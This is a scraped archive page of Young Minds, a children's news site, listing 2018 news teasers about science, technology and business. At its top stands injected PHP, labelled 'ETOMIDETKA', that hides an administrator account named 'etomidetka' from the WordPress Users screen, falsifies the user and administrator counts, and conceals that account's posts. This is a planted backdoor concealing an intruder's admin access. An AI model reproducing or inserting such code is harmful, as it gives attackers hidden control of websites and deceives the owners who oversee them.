//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 30

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 30)
Researchers successfully grow hair on damaged skin of mice

Researchers successfully grow hair on damaged skin of mice

New York University researchers have successfully regrown hair on damaged mice skin. The scientists had observed hair growth within four weeks in the mice. …

December 7, 2018 | Main News, SCIENCE
Microsoft surpasses Apple as world’s most valuable company

Microsoft surpasses Apple as world’s most valuable company

Microsoft has briefly overtaken Apple as the world’s most valuable company for the first time in over eight years. It was also the first time since 2013 that …

December 3, 2018 | Main News
A robot that can display human-like emotions

A robot that can display human-like emotions

Stockholm-based technology startup Furhat Robotics has unveiled a social robot, called Furhat, that can display human-like expressions and emotions. Weighing …

November 21, 2018 | Main News
wraps around your wrist

wraps around your wrist

The flexible phone you can wrap around your wrist Chinese phone manufacturer Nubia has released a prototype device that’s part smartwatch and part …

September 14, 2018 | Business & Innovation, Main News
Alibaba founder Jack Ma to step down in 2019

Alibaba founder Jack Ma to step down in 2019

Alibaba founder and billionaire Jack Ma has announced that he would step down as the Chinese e-commerce giant’s executive chairman next year and named the …

September 14, 2018 | Main News, World News
Apple unveils its most expensive phone ever

Apple unveils its most expensive phone ever

Apple Inc. has introduced its largest-ever iPhone and a watch that detects heart problems on 12th Sept.in an attempt to get customers to upgrade to more …

September 14, 2018 | Business & Innovation, Main News
Clock that would lose 1 second in 40 million years made

Clock that would lose 1 second in 40 million years made

Researchers in Australia have developed a clock called ‘The Sapphire Clock’ that would lose or gain one second in 40 million years. It is 1,000 …

September 5, 2018 | Main News
Amazon is now worth $1,000,000,000,000

Amazon is now worth $1,000,000,000,000

Amazon’s (AMZN) total market value has passed $1 trillion, following Apple’s ascent into 13-digit territory at the beginning of August. A trillion …

September 5, 2018 | Main News
Microsoft tech to keep CBSE papers leak-proof 30 mins prior exam

Microsoft tech to keep CBSE papers leak-proof 30 mins prior exam

Microsoft India has developed a solution to keep CBSE question papers leak-proof until 30 minutes before the start of the examinations. The system, with …

August 20, 2018 | Main News
Former prime minister Atal Bihari Vajpayee passes away

Former prime minister Atal Bihari Vajpayee passes away

Former Prime Minister Atal Bihari Vajpayee passed away on 16th August at the age of 93.He was the 10th prime minister of the country and the oldest surviving …

August 17, 2018 | Main News
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds